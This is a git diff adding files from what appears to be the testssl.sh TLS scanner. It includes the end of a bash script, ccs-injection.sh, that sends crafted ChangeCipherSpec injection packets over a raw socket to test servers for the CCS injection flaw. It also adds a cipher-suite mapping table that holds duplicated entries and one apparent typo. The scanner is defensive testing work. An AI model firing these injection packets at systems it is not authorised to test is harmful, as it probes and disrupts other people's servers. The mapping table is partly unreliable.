+x00, x68, # Cipher suites length
+ xc0, x13,
+ xc0, x12,
+ xc0, x11,
+ xc0, x10,
+ xc0, x0f,
+ xc0, x0e,
+ xc0, x0d,
+ xc0, x0c,
+ xc0, x0b,
+ xc0, x0a,
+ xc0, x09,
+ xc0, x08,
+ xc0, x07,
+ xc0, x06,
+ xc0, x05,
+ xc0, x04,
+ xc0, x03,
+ xc0, x02,
+ xc0, x01,
+ x00, x39,
+ x00, x38,
+ x00, x37,
+ x00, x36,
+ x00, x35,
+ x00, x34,
+ x00, x33,
+ x00, x32,
+ x00, x31,
+ x00, x30,
+ x00, x2f,
+ x00, x16,
+ x00, x15,
+ x00, x14,
+ x00, x13,
+ x00, x12,
+ x00, x11,
+ x00, x10,
+ x00, x0f,
+ x00, x0e,
+ x00, x0d,
+ x00, x0c,
+ x00, x0b,
+ x00, x0a,
+ x00, x09,
+ x00, x08,
+ x00, x07,
+ x00, x06,
+ x00, x05,
+ x00, x04,
+ x00, x03,
+ x00, x02,
+ x00, x01,
+ x01, x00"
+
+msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+
+
+parse_hn_port() {
+ PORT=443 # unless otherwise auto-determined, see below
+ NODE="$1"
+
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
+ 's/\:.*$//'`
+}
+
+socksend() {
+ data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+ echo "\"$data\""
+ echo -en "$data" >&5 || return 1
+ sleep $SLEEP
+ return 0
+}
+
+sockread()
+{
+ reply=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+ok_ids(){
+ echo
+ tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
+ echo
+ exit 0
+}
+
+
+#### main
+
+parse_hn_port "$1"
+
+if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+fi
+# socket is now open with fd 5
+
+
+echo "##### sending client hello:"
+socksend "$msg" $TLSV
+
+sockread 5000
+echo -e "\n##### server hello\c"
+if test $DEBUG ; then
+ echo ":"
+ echo -e "$reply" | xxd -c32 | head -20
+ echo "[...]"
+ echo
+fi
+
+echo "##### sending ccs injection with TLS version $TLSV:"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+socksend "$ccs_message" $TLSV || ok_ids
+
+sockread 65534
+echo
+echo "###### reply: "
+echo -e "$reply" | xxd -c32
+echo
+
+reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
+test $DEBUG || echo $reply_sanitized
+
+lines=`echo -e "$reply" | xxd -c32 | wc -l`
+test $DEBUG || echo $lines
+
+if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
+ tput bold; tput setaf 2; echo "ok"; tput sgr0
+ ret=0
+else
+ tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+ ret=1
+fi
+
+echo
+exit $ret
+
+
+# vim:tw=100:ts=5:sw=5
+# $Id: ccs-injection.sh,v 1.3 2014/06/14 21:44:42 dirkw Exp $
diff --git a/mapping-rfc.txt b/mapping-rfc.txt
new file mode 100644
index 0000000..e60396c
--- /dev/null
+++ b/mapping-rfc.txt
@@ -0,0 +1,362 @@
+0x010080 SSL_CK_RC4_128_WITH_MD5
+0x020080 SSL_CK_RC4_128_EXPORT40_WITH_MD5
+0x030080 SSL_CK_RC2_128_CBC_WITH_MD5
+0x040080 SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
+0x050080 SSL_CK_IDEA_128_CBC_WITH_MD5
+0x060040 SSL_CK_DES_64_CBC_WITH_MD5
+0x0700C0 SSL_CK_DES_192_EDE3_CBC_WITH_MD5
+0x080080 SSL_CK_RC4_64_WITH_MD5
+0x00 TLS_NULL_WITH_NULL_NULL
+0x01 TLS_RSA_WITH_NULL_MD5
+0x02 TLS_RSA_WITH_NULL_SHA
+0x03 TLS_RSA_EXPORT_WITH_RC4_40_MD5
+0x04 TLS_RSA_WITH_RC4_128_MD5
+0x05 TLS_RSA_WITH_RC4_128_SHA
+0x06 TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+0x07 TLS_RSA_WITH_IDEA_CBC_SHA
+0x08 TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
+0x09 TLS_RSA_WITH_DES_CBC_SHA
+0x0A TLS_RSA_WITH_3DES_EDE_CBC_SHA
+0x0B TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA
+0x0C TLS_DH_DSS_WITH_DES_CBC_SHA
+0x0D TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA
+0x0E TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA
+0x0F TLS_DH_RSA_WITH_DES_CBC_SHA
+0x10 TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA
+0x11 TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
+0x12 TLS_DHE_DSS_WITH_DES_CBC_SHA
+0x13 TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
+0x14 TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
+0x15 TLS_DHE_RSA_WITH_DES_CBC_SHA
+0x16 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+0x17 TLS_DH_anon_EXPORT_WITH_RC4_40_MD5
+0x18 TLS_DH_anon_WITH_RC4_128_MD5
+0x19 TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
+0x1A TLS_DH_anon_WITH_DES_CBC_SHA
+0x1B TLS_DH_anon_WITH_3DES_EDE_CBC_SHA
+0x1C SSL_FORTEZZA_KEA_WITH_NULL_SHA
+0x1D SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA
+0x1E TLS_KRB5_WITH_DES_CBC_SHA
+0x1F TLS_KRB5_WITH_3DES_EDE_CBC_SHA
+0x20 TLS_KRB5_WITH_RC4_128_SHA
+0x21 TLS_KRB5_WITH_IDEA_CBC_SHA
+0x22 TLS_KRB5_WITH_DES_CBC_MD5
+0x23 TLS_KRB5_WITH_3DES_EDE_CBC_MD5
+0x24 TLS_KRB5_WITH_RC4_128_MD5
+0x25 TLS_KRB5_WITH_IDEA_CBC_MD5
+0x26 TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA
+0x27 TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA
+0x28 TLS_KRB5_EXPORT_WITH_RC4_40_SHA
+0x29 TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5
+0x2A TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5
+0x2B TLS_KRB5_EXPORT_WITH_RC4_40_MD5
+0x2C TLS_PSK_WITH_NULL_SHA
+0x2D TLS_DHE_PSK_WITH_NULL_SHA
+0x2E TLS_RSA_PSK_WITH_NULL_SHA
+0x2F TLS_RSA_WITH_AES_128_CBC_SHA
+0x30 TLS_DH_DSS_WITH_AES_128_CBC_SHA
+0x31 TLS_DH_RSA_WITH_AES_128_CBC_SHA
+0x32 TLS_DHE_DSS_WITH_AES_128_CBC_SHA
+0x33 TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+0x34 TLS_DH_anon_WITH_AES_128_CBC_SHA
+0x35 TLS_RSA_WITH_AES_256_CBC_SHA
+0x36 TLS_DH_DSS_WITH_AES_256_CBC_SHA
+0x37 TLS_DH_RSA_WITH_AES_256_CBC_SHA
+0x38 TLS_DHE_DSS_WITH_AES_256_CBC_SHA
+0x39 TLS_DHE_RSA_WITH_AES_256_CBC_SHA
+0x3A TLS_DH_anon_WITH_AES_256_CBC_SHA
+0x3B TLS_RSA_WITH_NULL_SHA256
+0x3C TLS_RSA_WITH_AES_128_CBC_SHA256
+0x3D TLS_RSA_WITH_AES_256_CBC_SHA256
+0x3E TLS_DH_DSS_WITH_AES_128_CBC_SHA256
+0x3F TLS_DH_RSA_WITH_AES_128_CBC_SHA256
+0x40 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256
+0x41 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
+0x42 TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA
+0x43 TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA
+0x44 TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
+0x45 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
+0x46 TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA
+0x60 TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
+0x61 TLS_RSA_EXPORT1024_WITH_RC2_56_MD5
+0x62 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
+0x63 TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA
+0x64 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
+0x65 TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA
+0x66 TLS_DHE_DSS_WITH_RC4_128_SHA
+0x67 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
+0x68 TLS_DH_DSS_WITH_AES_256_CBC_SHA256
+0x69 TLS_DH_RSA_WITH_AES_256_CBC_SHA256
+0x6A TLS_DHE_DSS_WITH_AES_256_CBC_SHA256
+0x6B TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
+0x6C TLS_DH_anon_WITH_AES_128_CBC_SHA256
+0x6D TLS_DH_anon_WITH_AES_256_CBC_SHA256
+0x80 TLS_GOSTR341094_WITH_28147_CNT_IMIT
+0x81 TLS_GOSTR341001_WITH_28147_CNT_IMIT
+0x82 TLS_GOSTR341094_WITH_NULL_GOSTR3411
+0x83 TLS_GOSTR341001_WITH_NULL_GOSTR3411
+0x84 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
+0x85 TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA
+0x86 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA
+0x87 TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
+0x88 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
+0x89 TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA
+0x8A TLS_PSK_WITH_RC4_128_SHA
+0x8B TLS_PSK_WITH_3DES_EDE_CBC_SHA
+0x8C TLS_PSK_WITH_AES_128_CBC_SHA
+0x8D TLS_PSK_WITH_AES_256_CBC_SHA
+0x8E TLS_DHE_PSK_WITH_RC4_128_SHA
+0x8F TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA
+0x90 TLS_DHE_PSK_WITH_AES_128_CBC_SHA
+0x91 TLS_DHE_PSK_WITH_AES_256_CBC_SHA
+0x92 TLS_RSA_PSK_WITH_RC4_128_SHA
+0x93 TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA
+0x94 TLS_RSA_PSK_WITH_AES_128_CBC_SHA
+0x95 TLS_RSA_PSK_WITH_AES_256_CBC_SHA
+0x96 TLS_RSA_WITH_SEED_CBC_SHA
+0x97 TLS_DH_DSS_WITH_SEED_CBC_SHA
+0x98 TLS_DH_RSA_WITH_SEED_CBC_SHA
+0x99 TLS_DHE_DSS_WITH_SEED_CBC_SHA
+0x9A TLS_DHE_RSA_WITH_SEED_CBC_SHA
+0x9B TLS_DH_anon_WITH_SEED_CBC_SHA
+0x9C TLS_RSA_WITH_AES_128_GCM_SHA256
+0x9D TLS_RSA_WITH_AES_256_GCM_SHA384
+0x9E TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
+0x9F TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
+0xA0 TLS_DH_RSA_WITH_AES_128_GCM_SHA256
+0xA1 TLS_DH_RSA_WITH_AES_256_GCM_SHA384
+0xA2 TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
+0xA3 TLS_DHE_DSS_WITH_AES_256_GCM_SHA384
+0xA4 TLS_DH_DSS_WITH_AES_128_GCM_SHA256
+0xA5 TLS_DH_DSS_WITH_AES_256_GCM_SHA384
+0xA6 TLS_DH_anon_WITH_AES_128_GCM_SHA256
+0xA7 TLS_DH_anon_WITH_AES_256_GCM_SHA384
+0xA8 TLS_PSK_WITH_AES_128_GCM_SHA256
+0xA9 TLS_PSK_WITH_AES_256_GCM_SHA384
+0xAA TLS_DHE_PSK_WITH_AES_128_GCM_SHA256
+0xAB TLS_DHE_PSK_WITH_AES_256_GCM_SHA384
+0xAC TLS_RSA_PSK_WITH_AES_128_GCM_SHA256
+0xAD TLS_RSA_PSK_WITH_AES_256_GCM_SHA384
+0xAE TLS_PSK_WITH_AES_128_CBC_SHA256
+0xAF TLS_PSK_WITH_AES_256_CBC_SHA384
+0xB0 TLS_PSK_WITH_NULL_SHA256
+0xB1 TLS_PSK_WITH_NULL_SHA384
+0xB2 TLS_DHE_PSK_WITH_AES_128_CBC_SHA256
+0xB3 TLS_DHE_PSK_WITH_AES_256_CBC_SHA384
+0xB4 TLS_DHE_PSK_WITH_NULL_SHA256
+0xB5 TLS_DHE_PSK_WITH_NULL_SHA384
+0xB6 TLS_RSA_PSK_WITH_AES_128_CBC_SHA256
+0xB7 TLS_RSA_PSK_WITH_AES_256_CBC_SHA384
+0xB8 TLS_RSA_PSK_WITH_NULL_SHA256
+0xB9 TLS_RSA_PSK_WITH_NULL_SHA384
+0xBA TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xBB TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256
+0xBC TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xBD TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256
+0xBE TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xBF TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256
+0xC0 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256
+0xC1 TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256
+0xC2 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256
+0xC3 TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256
+0xC4 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256
+0xC5 TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256
+0xFF TLS_EMPTY_RENEGOTIATION_INFO_SCSV
+0xC001 TLS_ECDH_ECDSA_WITH_NULL_SHA
+0xC002 TLS_ECDH_ECDSA_WITH_RC4_128_SHA
+0xC003 TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
+0xC004 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+0xC005 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
+0xC006 TLS_ECDHE_ECDSA_WITH_NULL_SHA
+0xC007 TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
+0xC008 TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
+0xC009 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
+0xC00A TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
+0xC00B TLS_ECDH_RSA_WITH_NULL_SHA
+0xC00C TLS_ECDH_RSA_WITH_RC4_128_SHA
+0xC00D TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
+0xC00E TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
+0xC00F TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+0xC010 TLS_ECDHE_RSA_WITH_NULL_SHA
+0xC011 TLS_ECDHE_RSA_WITH_RC4_128_SHA
+0xC012 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
+0xC013 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+0xC014 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+0xC015 TLS_ECDH_anon_WITH_NULL_SHA
+0xC016 TLS_ECDH_anon_WITH_RC4_128_SHA
+0xC017 TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
+0xC018 TLS_ECDH_anon_WITH_AES_128_CBC_SHA
+0xC019 TLS_ECDH_anon_WITH_AES_256_CBC_SHA
+0xC01A TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA
+0xC01B TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
+0xC01C TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
+0xC01D TLS_SRP_SHA_WITH_AES_128_CBC_SHA
+0xC01E TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
+0xC01F TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
+0xC020 TLS_SRP_SHA_WITH_AES_256_CBC_SHA
+0xC021 TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
+0xC022 TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
+0xC023 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
+0xC024 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
+0xC025 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
+0xC026 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
+0xC027 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
+0xC028 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
+0xC029 TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
+0xC02A TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384
+0xC02B TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
+0xC02C TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
+0xC02D TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
+0xC02E TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384
+0xC02F TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
+0xC030 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
+0xC031 TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
+0xC032 TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384
+0xC033 TLS_ECDHE_PSK_WITH_RC4_128_SHA
+0xC034 TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA
+0xC035 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA
+0xC036 TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA
+0xC037 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256
+0xC038 TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384
+0xC039 TLS_ECDHE_PSK_WITH_NULL_SHA
+0xC03A TLS_ECDHE_PSK_WITH_NULL_SHA256
+0xC03B TLS_ECDHE_PSK_WITH_NULL_SHA384
+0xC03C TLS_RSA_WITH_ARIA_128_CBC_SHA256
+0xC03D TLS_RSA_WITH_ARIA_256_CBC_SHA384
+0xC03E TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256
+0xC03F TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384
+0xC040 TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256
+0xC041 TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384
+0xC042 TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256
+0xC043 TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384
+0xC044 TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256
+0xC045 TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384
+0xC046 TLS_DH_anon_WITH_ARIA_128_CBC_SHA256
+0xC047 TLS_DH_anon_WITH_ARIA_256_CBC_SHA384
+0xC048 TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256
+0xC049 TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384
+0xC04A TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256
+0xC04B TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384
+0xC04C TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256
+0xC04D TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384
+0xC04E TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256
+0xC04F TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384
+0xC050 TLS_RSA_WITH_ARIA_128_GCM_SHA256
+0xC051 TLS_RSA_WITH_ARIA_256_GCM_SHA384
+0xC052 TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256
+0xC053 TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384
+0xC054 TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256
+0xC055 TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384
+0xC056 TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256
+0xC057 TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384
+0xC058 TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256
+0xC059 TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384
+0xC05A TLS_DH_anon_WITH_ARIA_128_GCM_SHA256
+0xC05B TLS_DH_anon_WITH_ARIA_256_GCM_SHA384
+0xC05C TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256
+0xC05D TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384
+0xC05E TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256
+0xC05F TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384
+0xC060 TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256
+0xC061 TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384
+0xC062 TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256
+0xC063 TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384
+0xC064 TLS_PSK_WITH_ARIA_128_CBC_SHA256
+0xC065 TLS_PSK_WITH_ARIA_256_CBC_SHA384
+0xC066 TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256
+0xC067 TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384
+0xC068 TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256
+0xC069 TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384
+0xC06A TLS_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06B TLS_PSK_WITH_ARIA_256_GCM_SHA384
+0xC06C TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06D TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384
+0xC06E TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256
+0xC06F TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384
+0xC070 TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256
+0xC071 TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384
+0xC072 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC073 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC074 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC075 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC076 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC077 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC078 TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256
+0xC079 TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384
+0xC07A TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07B TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC07C TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07D TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC07E TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC07F TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC080 TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256
+0xC081 TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384
+0xC082 TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256
+0xC083 TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384
+0xC084 TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256
+0xC085 TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384
+0xC086 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC087 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC088 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC089 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08A TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC08B TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08C TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256
+0xC08D TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384
+0xC08E TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC08F TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC090 TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC091 TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC092 TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256
+0xC093 TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384
+0xC094 TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC095 TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC096 TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC097 TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC098 TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC099 TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC09A TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256
+0xC09B TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384
+0xC09C TLS_RSA_WITH_AES_128_CCM
+0xC09D TLS_RSA_WITH_AES_256_CCM
+0xC09E TLS_DHE_RSA_WITH_AES_128_CCM
+0xC09F TLS_DHE_RSA_WITH_AES_256_CCM
+0xC0A0 TLS_RSA_WITH_AES_128_CCM_8
+0xC0A1 TLS_RSA_WITH_AES_256_CCM_8
+0xC0A2 TLS_DHE_RSA_WITH_AES_128_CCM_8
+0xC0A3 TLS_DHE_RSA_WITH_AES_256_CCM_8
+0xC0A4 TLS_PSK_WITH_AES_128_CCM
+0xC0A5 TLS_PSK_WITH_AES_256_CCM
+0xC0A6 TLS_DHE_PSK_WITH_AES_128_CCM
+0xC0A7 TLS_DHE_PSK_WITH_AES_256_CCM
+0xC0A8 TLS_PSK_WITH_AES_128_CCM_8
+0xC0A9 TLS_PSK_WITH_AES_256_CCM_8
+0xC0AA TLS_PSK_DHE_WITH_AES_128_CCM_8
+0xC0AB TLS_PSK_DHE_WITH_AES_256_CCM_8
+0xC09C TLS_RSA_WITH_AES_128_CCM
+0xC09D TLS_RSA_WITH_AES_256_CCM
+0xC09E TLS_DHE_RSA_WITH_AES_128_CCM
+0xC09F TLS_DHE_RSA_WITH_AES_256_CCM
+0xC0A0 TLS_RSA_WITH_AES_128_CCM_8
+0xC0A1 TLS_RSA_WITH_AES_256_CCM_8
+0xC0A2 TLS_DHE_RSA_WITH_AES_128_CCM_8
+0xC0A3 TLS_DHE_RSA_WITH_AES_256_CCM_8
+0xC0A4 TLS_PSK_WITH_AES_128_CCM
+0xC0A5 TLS_PSK_WITH_AES_256_CCM
+0xC0A6 TLS_DHE_PSK_WITH_AES_128_CCM
+0xC0A7 TLS_DHE_PSK_WITH_AES_256_CCM
+0xC0A8 TLS_PSK_WITH_AES_128_CCM_8
+0xC0A9 TLS_PSK_WITH_AES_256_CCM_8
+0xC0AA TLS_PSK_DHE_WITH_AES_128_CCM_8
+0xC0AB TLS_PSK_DHE_WITH_AES_256_CCM_80
+0xC0AC TLS_ECDHE_ECDSA_WITH_AES_128_CCM
+0xC0AD TLS_ECDHE_ECDSA_WITH_AES_256_CCM
+0xC0AE TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8
+0xC0AF TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8
+0xCC13 TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
+0xCC14 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
+0xCC15 TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256
+0xFEFE SSL_RSA_FIPS_WITH_DES_CBC_SHA
+0xFEFE SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
+0xFFE0 SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
+0xFFE1 SSL_RSA_FIPS_WITH_DES_CBC_SHA
diff --git a/testssl b/testssl
new file mode 120000
index 0000000..d5365db
--- /dev/null
+++ b/testssl
@@ -0,0 +1 @@
+testssl.sh \ No newline at end of file
diff --git a/testssl.sh b/testssl.sh
new file mode 100755
index 0000000..7c68dd7
--- /dev/null
+++ b/testssl.sh
@@ -0,0 +1,1789 @@
+#!/usr/bin/env bash
+# bash is needed for some distros which use dash as /bin/sh and for the heartbleed check!
+
